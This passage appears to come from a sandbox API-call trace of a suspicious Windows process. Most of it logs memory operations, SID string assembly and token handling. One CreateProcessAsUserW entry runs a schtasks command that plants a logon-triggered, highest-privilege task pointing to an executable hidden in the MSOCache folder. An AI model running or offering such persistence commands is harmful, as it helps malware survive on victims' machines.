returned 0xeef00 [0081.376] SysStringLen (param_1="S-1-5") returned 0x5 [0081.376] SysStringLen (param_1="-") returned 0x1 [0081.376] memcpy (in: _Dst=0x381298, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381298) returned 0x381298 [0081.376] memcpy (in: _Dst=0x3812a2, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a2) returned 0x3812a2 [0081.376] free (_Block=0xef020) [0081.376] free (_Block=0xef040) [0081.376] malloc (_Size=0x18) returned 0xef040 [0081.376] malloc (_Size=0x18) returned 0xef020 [0081.376] SysStringLen (param_1="S-1-5-") returned 0x6 [0081.376] SysStringLen (param_1="21") returned 0x2 [0081.376] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0081.376] memcpy (in: _Dst=0x381244, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0081.376] free (_Block=0xeef00) [0081.376] free (_Block=0xef040) [0081.376] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0081.376] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0081.376] malloc (_Size=0x18) returned 0xef040 [0081.376] malloc (_Size=0x18) returned 0xeef00 [0081.377] SysStringLen (param_1="S-1-5-21") returned 0x8 [0081.377] SysStringLen (param_1="-") returned 0x1 [0081.377] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0081.377] memcpy (in: _Dst=0x3811b8, _Src=0x381298, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0081.377] free (_Block=0xef020) [0081.377] free (_Block=0xef040) [0081.377] malloc (_Size=0x18) returned 0xef040 [0081.377] malloc (_Size=0x18) returned 0xef020 [0081.377] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0081.377] SysStringLen (param_1="4219442223") returned 0xa [0081.377] memcpy (in: _Dst=0x337a58, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0081.377] memcpy (in: _Dst=0x337a6a, _Src=0x381238, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0081.377] free (_Block=0xeef00) [0081.377] free (_Block=0xef040) [0081.377] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0081.377] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0081.377] malloc (_Size=0x18) returned 0xef040 [0081.377] malloc (_Size=0x18) returned 0xeef00 [0081.377] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0081.378] SysStringLen (param_1="-") returned 0x1 [0081.378] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0081.378] memcpy (in: _Dst=0x33838e, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0081.378] free (_Block=0xef020) [0081.378] free (_Block=0xef040) [0081.378] malloc (_Size=0x18) returned 0xef040 [0081.378] malloc (_Size=0x18) returned 0xef020 [0081.378] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0081.378] SysStringLen (param_1="4223814209") returned 0xa [0081.378] memcpy (in: _Dst=0x34dd98, _Src=0x338368, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0081.378] memcpy (in: _Dst=0x34ddc0, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0081.378] free (_Block=0xeef00) [0081.378] free (_Block=0xef040) [0081.378] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0081.378] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0081.378] malloc (_Size=0x18) returned 0xef040 [0081.378] malloc (_Size=0x18) returned 0xeef00 [0081.378] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0081.378] SysStringLen (param_1="-") returned 0x1 [0081.378] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0081.378] memcpy (in: _Dst=0x34daa4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0081.378] free (_Block=0xef020) [0081.378] free (_Block=0xef040) [0081.378] malloc (_Size=0x18) returned 0xef040 [0081.379] malloc (_Size=0x18) returned 0xef020 [0081.379] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0081.379] SysStringLen (param_1="3835049652") returned 0xa [0081.379] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0081.379] memcpy (in: _Dst=0x34ddd6, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0081.379] free (_Block=0xeef00) [0081.379] free (_Block=0xef040) [0081.379] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0081.379] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0081.379] malloc (_Size=0x18) returned 0xef040 [0081.379] malloc (_Size=0x18) returned 0xeef00 [0081.379] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0081.379] SysStringLen (param_1="-") returned 0x1 [0081.379] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0081.379] memcpy (in: _Dst=0x34daba, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0081.379] free (_Block=0xef020) [0081.379] free (_Block=0xef040) [0081.379] malloc (_Size=0x18) returned 0xef040 [0081.379] malloc (_Size=0x18) returned 0xef020 [0081.379] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0081.379] SysStringLen (param_1="1000") returned 0x4 [0081.379] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0081.379] memcpy (in: _Dst=0x34ddec, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0081.379] free (_Block=0xeef00) [0081.379] free (_Block=0xef040) [0081.380] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0081.380] malloc (_Size=0x5e) returned 0xf0800 [0081.380] free (_Block=0xef020) [0081.380] malloc (_Size=0x18) returned 0xef020 [0081.380] free (_Block=0xf0800) [0081.380] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0081.381] GetLastError () returned 0x7a [0081.381] malloc (_Size=0x14) returned 0xef040 [0081.381] malloc (_Size=0x16) returned 0xeef00 [0081.381] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0081.382] malloc (_Size=0x18) returned 0xef0a0 [0081.382] malloc (_Size=0x18) returned 0xeef60 [0081.382] free (_Block=0xef040) [0081.382] free (_Block=0xeef00) [0081.382] free (_Block=0xeff30) [0081.382] free (_Block=0xeef60) [0081.382] free (_Block=0xef0a0) [0081.382] free (_Block=0xef020) [0081.383] free (_Block=0xee240) [0081.383] malloc (_Size=0x48) returned 0xed270 [0081.383] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0081.399] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0081.400] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0081.400] malloc (_Size=0x18) returned 0xef020 [0081.400] CreateEnvironmentBlock () returned 0x1 [0081.404] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0081.404] malloc (_Size=0x18) returned 0xef0a0 [0081.404] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"centralcreditcard\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"centralcreditcard\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xce8, dwThreadId=0xce4)) returned 1 [0081.408] CloseHandle (hObject=0x2f8) returned 1 [0081.408] CloseHandle (hObject=0x2fc) returned 1 [0081.408] free (_Block=0xef0a0) [0081.408] DestroyEnvironmentBlock () returned 0x1 [0081.408] malloc (_Size=0x48) returned 0xed2c0 [0081.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x597cb420, dwHighDateTime=0x1d9eb0c)) [0081.408] SetEvent (hEvent=0x1f0) returned 1 [0081.408] CloseHandle (hObject=0x234) returned 1 [0081.414] CloseHandle (hObject=0x244) returned 1 [0081.503] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0081.503] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0081.503] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0081.930] SetLastError (dwErrCode=0x0) [0081.930] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0081.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0081.930] SetLastError (dwErrCode=0x0) [0081.930] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0081.931] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0081.931] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0081.931] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0081.931] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0081.931] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0081.933] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0081.934] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.934] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.934] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0081.934] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.935] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0081.935] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0081.937] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0081.937] GetCurrentThread () returned 0xfffffffffffffffe [0081.937] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2e0) returned 1 [0081.937] malloc (_Size=0xd8) returned 0xf3750 [0081.937] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0081.937] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0081.938] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0081.938] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0081.938] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0081.938] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0081.938] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0081.938] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0081.939] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0081.939] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0081.939] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0081.939] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0081.939] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0081.939] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0081.940] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0081.940] malloc (_Size=0x18) returned 0xef020 [0081.941] DuplicateTokenEx (in: hExistingToken=0x2e0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0081.941] malloc (_Size=0x48) returned 0xed2c0 [0081.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x59d00440, dwHighDateTime=0x1d9eb0c)) [0081.941] SetEvent (hEvent=0x1f0) returned 1 [0081.941] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0081.942] GetLastError () returned 0x7a [0081.942] malloc (_Size=0x2c) returned 0xee200 [0081.942] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0081.942] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.942] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0081.942] malloc (_Size=0x1c) returned 0xeff00 [0081.942] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0081.942] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0081.942] malloc (_Size=0x18) returned 0xeef20 [0081.942] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0081.942] malloc (_Size=0x18) returned 0xef0a0 [0081.942] malloc (_Size=0x18) returned 0xeef60 [0081.942] SysStringLen (param_1="S-1-") returned 0x4 [0081.942] SysStringLen (param_1="5") returned 0x1 [0081.942] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0081.942] memcpy (in: _Dst=0x381270, _Src=0x381358, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0081.942] free (_Block=0xeef20) [0081.943] free (_Block=0xef0a0) [0081.943] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0081.943] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0081.943] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0081.943] malloc (_Size=0x18) returned 0xef0a0 [0081.943] malloc (_Size=0x18) returned 0xeef20 [0081.943] SysStringLen (param_1="S-1-5") returned 0x5 [0081.943] SysStringLen (param_1="-") returned 0x1 [0081.943] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0xc | out: _Dst=0x381358) returned 0x381358 [0081.943] memcpy (in: _Dst=0x381362, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381362) returned 0x381362 [0081.943] free (_Block=0xeef60) [0081.943] free (_Block=0xef0a0) [0081.943] malloc (_Size=0x18) returned 0xef0a0 [0081.943] malloc (_Size=0x18) returned 0xeef60 [0081.943] SysStringLen (param_1="S-1-5-") returned 0x6 [0081.943] SysStringLen (param_1="21") returned 0x2 [0081.943] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0081.943] memcpy (in: _Dst=0x3810f4, _Src=0x381268, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0081.943] free (_Block=0xeef20) [0081.943] free (_Block=0xef0a0) [0081.943] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0081.943] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0081.943] malloc (_Size=0x18) returned 0xef0a0 [0081.944] malloc (_Size=0x18) returned 0xeef20 [0081.944] SysStringLen (param_1="S-1-5-21") returned 0x8 [0081.944] SysStringLen (param_1="-") returned 0x1 [0081.944] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0081.944] memcpy (in: _Dst=0x381278, _Src=0x381358, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0081.944] free (_Block=0xeef60) [0081.944] free (_Block=0xef0a0) [0081.944] malloc (_Size=0x18) returned 0xef0a0 [0081.944] malloc (_Size=0x18) returned 0xeef60 [0081.944] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0081.944] SysStringLen (param_1="4219442223") returned 0xa [0081.944] memcpy (in: _Dst=0x337788, _Src=0x381268, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0081.944] memcpy (in: _Dst=0x33779a, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0081.944] free (_Block=0xeef20) [0081.944] free (_Block=0xef0a0) [0081.944] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0081.944] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0081.944] malloc (_Size=0x18) returned 0xef0a0 [0081.944] malloc (_Size=0x18) returned 0xeef20 [0081.944] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0081.944] SysStringLen (param_1="-") returned 0x1 [0081.944] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0081.944] memcpy (in: _Dst=0x337ace, _Src=0x381268, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0081.945] free (_Block=0xeef60) [0081.945] free (_Block=0xef0a0) [0081.945] malloc (_Size=0x18) returned 0xef0a0 [0081.945] malloc (_Size=0x18) returned 0xeef60 [0081.945] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0081.945] SysStringLen (param_1="4223814209") returned 0xa [0081.945] memcpy (in: _Dst=0x34d958, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0081.945] memcpy (in: _Dst=0x34d980, _Src=0x381268, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0081.945] free (_Block=0xeef20) [0081.945] free (_Block=0xef0a0) [0081.945] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0081.945] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0081.945] malloc (_Size=0x18) returned 0xef0a0 [0081.945] malloc (_Size=0x18) returned 0xeef20 [0081.945] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0081.945] SysStringLen (param_1="-") returned 0x1 [0081.945] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0081.945] memcpy (in: _Dst=0x34dcc4, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0081.945] free (_Block=0xeef60) [0081.945] free (_Block=0xef0a0) [0081.945] malloc (_Size=0x18) returned 0xef0a0 [0081.945] malloc (_Size=0x18) returned 0xeef60 [0081.945] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0081.946] SysStringLen (param_1="3835049652") returned 0xa [0081.946] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0081.946] memcpy (in: _Dst=0x34d996, _Src=0x381268, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0081.946] free (_Block=0xeef20) [0081.946] free (_Block=0xef0a0) [0081.946] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0081.946] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0081.946] malloc (_Size=0x18) returned 0xef0a0 [0081.946] malloc (_Size=0x18) returned 0xeef20 [0081.946] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0081.946] SysStringLen (param_1="-") returned 0x1 [0081.946] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0081.946] memcpy (in: _Dst=0x34dcda, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0081.946] free (_Block=0xeef60) [0081.946] free (_Block=0xef0a0) [0081.946] malloc (_Size=0x18) returned 0xef0a0 [0081.946] malloc (_Size=0x18) returned 0xeef60 [0081.946] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0081.946] SysStringLen (param_1="1000") returned 0x4 [0081.946] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0081.946] memcpy (in: _Dst=0x34d9ac, _Src=0x381268, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0081.946] free (_Block=0xeef20) [0081.947] free (_Block=0xef0a0) [0081.947] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0081.947] malloc (_Size=0x5e) returned 0xf0800 [0081.947] free (_Block=0xeef60) [0081.947] malloc (_Size=0x18) returned 0xeef60 [0081.947] free (_Block=0xf0800) [0081.947] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, 